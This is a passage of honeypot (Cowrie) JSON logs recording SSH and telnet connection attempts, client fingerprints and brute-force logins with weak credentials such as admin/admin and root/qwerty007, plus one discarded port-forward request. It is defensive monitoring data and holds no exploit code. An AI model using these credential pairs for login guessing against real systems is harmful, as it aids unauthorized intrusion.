c"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:29.145631Z","src_ip":"87.251.64.176","session":"a94c8c2cde82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49788,"dst_ip":"10.17.0.5","dst_port":23,"session":"82bc05714235","protocol":"telnet","message":"New connection: 144.79.218.12:49788 (10.17.0.5:23) [session: 82bc05714235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:30.110326Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:30.584776Z","src_ip":"87.251.64.176","session":"a94c8c2cde82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:31.312803Z","session":"a94c8c2cde82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:31.530759Z","src_ip":"87.251.64.176","session":"a94c8c2cde82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:32.000588Z","src_ip":"87.251.64.176","session":"a94c8c2cde82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.110.147.56","src_port":35540,"dst_ip":"10.17.0.5","dst_port":22,"session":"9df058e96c31","protocol":"ssh","message":"New connection: 222.110.147.56:35540 (10.17.0.5:22) [session: 9df058e96c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:32.918810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:32.922829Z","src_ip":"222.110.147.56","session":"9df058e96c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:33.119978Z","src_ip":"222.110.147.56","session":"9df058e96c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty007","message":"login attempt [root/qwerty007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:33.939850Z","src_ip":"222.110.147.56","session":"9df058e96c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:35.140346Z","src_ip":"222.110.147.56","session":"9df058e96c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08378219604492,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:38.390716Z","src_ip":"144.79.218.12","session":"37791ded69eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.359907388687134,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:39.314924Z","src_ip":"144.79.218.12","session":"d05e5d4d3e28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.24123668670654,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:40.371324Z","src_ip":"144.79.218.12","session":"411b61f2d2b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.32015252113342,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:40.910109Z","src_ip":"144.79.218.12","session":"6a81c5ca412d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.55479288101196,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:49.958074Z","src_ip":"144.79.218.12","session":"17b954f0a9e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":47530,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5f0e628c9c7","protocol":"telnet","message":"New connection: 144.79.218.12:47530 (10.17.0.5:23) [session: c5f0e628c9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:50.621299Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":47532,"dst_ip":"10.17.0.5","dst_port":23,"session":"df656872dcbe","protocol":"telnet","message":"New connection: 144.79.218.12:47532 (10.17.0.5:23) [session: df656872dcbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:52.877354Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":47546,"dst_ip":"10.17.0.5","dst_port":23,"session":"8646ae6b0c87","protocol":"telnet","message":"New connection: 144.79.218.12:47546 (10.17.0.5:23) [session: 8646ae6b0c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:55.325150Z"}
{"eventid":"cowrie.session.closed","duration":39.336732625961304,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:58.167344Z","src_ip":"144.79.218.12","session":"82940810aa34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.30842447280884,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:58.542739Z","src_ip":"144.79.218.12","session":"bb614d0da5b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39579463005066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:03.505973Z","src_ip":"144.79.218.12","session":"82bc05714235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":52068,"dst_ip":"159.203.135.109","dst_port":22,"session":"c01283efa4a7","protocol":"ssh","message":"New connection: 91.134.240.52:52068 (159.203.135.109:22) [session: c01283efa4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:03.581887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:03.591898Z","src_ip":"91.134.240.52","session":"c01283efa4a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:03.669770Z","src_ip":"91.134.240.52","session":"c01283efa4a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alireza","message":"login attempt [root/alireza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:03.987761Z","src_ip":"91.134.240.52","session":"c01283efa4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:05.074973Z","src_ip":"91.134.240.52","session":"c01283efa4a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57496,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e5f3e247e01","protocol":"ssh","message":"New connection: 159.203.92.129:57496 (159.203.135.109:22) [session: 7e5f3e247e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:05.199085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:05.204335Z","src_ip":"159.203.92.129","session":"7e5f3e247e01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:05.208930Z","src_ip":"159.203.92.129","session":"7e5f3e247e01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alenppcd","password":"alenppcd","message":"login attempt [alenppcd/alenppcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:05.226408Z","src_ip":"159.203.92.129","session":"7e5f3e247e01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:06.233158Z","src_ip":"159.203.92.129","session":"7e5f3e247e01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":35366,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b13512b16a7","protocol":"telnet","message":"New connection: 144.79.218.12:35366 (10.17.0.5:23) [session: 8b13512b16a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:14.208232Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":35380,"dst_ip":"10.17.0.5","dst_port":23,"session":"c639c509d200","protocol":"telnet","message":"New connection: 144.79.218.12:35380 (10.17.0.5:23) [session: c639c509d200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:14.953210Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":35388,"dst_ip":"10.17.0.5","dst_port":23,"session":"13adbf779aba","protocol":"telnet","message":"New connection: 144.79.218.12:35388 (10.17.0.5:23) [session: 13adbf779aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:18.898606Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1471456547d5","protocol":"telnet","message":"New connection: 144.79.218.12:38706 (10.17.0.5:23) [session: 1471456547d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:19.322827Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":36198,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8125d2a4c77","protocol":"ssh","message":"New connection: 68.183.236.1:36198 (159.203.135.109:22) [session: e8125d2a4c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:19.626866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:19.631704Z","src_ip":"68.183.236.1","session":"e8125d2a4c77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:19.884810Z","src_ip":"68.183.236.1","session":"e8125d2a4c77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"music","password":"test123","message":"login attempt [music/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:20.933957Z","src_ip":"68.183.236.1","session":"e8125d2a4c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:22.189939Z","src_ip":"68.183.236.1","session":"e8125d2a4c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.56508803367615,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:28.186264Z","src_ip":"144.79.218.12","session":"c5f0e628c9c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.183351039886475,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:30.508376Z","src_ip":"144.79.218.12","session":"8646ae6b0c87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.2260377407074,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:31.103256Z","src_ip":"144.79.218.12","session":"df656872dcbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52460,"dst_ip":"10.17.0.5","dst_port":23,"session":"5475c3b06ae1","protocol":"telnet","message":"New connection: 144.79.218.12:52460 (10.17.0.5:23) [session: 5475c3b06ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:33.474483Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52472,"dst_ip":"10.17.0.5","dst_port":23,"session":"f73874088b8c","protocol":"telnet","message":"New connection: 144.79.218.12:52472 (10.17.0.5:23) [session: f73874088b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:33.536368Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44428,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fee7e453f0a","protocol":"telnet","message":"New connection: 144.79.218.12:44428 (10.17.0.5:23) [session: 2fee7e453f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:47.570169Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44440,"dst_ip":"10.17.0.5","dst_port":23,"session":"84fe72b681e1","protocol":"telnet","message":"New connection: 144.79.218.12:44440 (10.17.0.5:23) [session: 84fe72b681e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:47.862015Z"}
{"eventid":"cowrie.session.closed","duration":34.13716650009155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:49.090248Z","src_ip":"144.79.218.12","session":"c639c509d200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44480,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bf54bb1224c","protocol":"ssh","message":"New connection: 159.203.92.129:44480 (159.203.135.109:22) [session: 9bf54bb1224c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:49.526658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:49.530917Z","src_ip":"159.203.92.129","session":"9bf54bb1224c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:49.534522Z","src_ip":"159.203.92.129","session":"9bf54bb1224c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alesky","password":"123456","message":"login attempt [alesky/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:49.546594Z","src_ip":"159.203.92.129","session":"9bf54bb1224c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.61478018760681,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:49.822842Z","src_ip":"144.79.218.12","session":"8b13512b16a7","protocol":"telnet"}
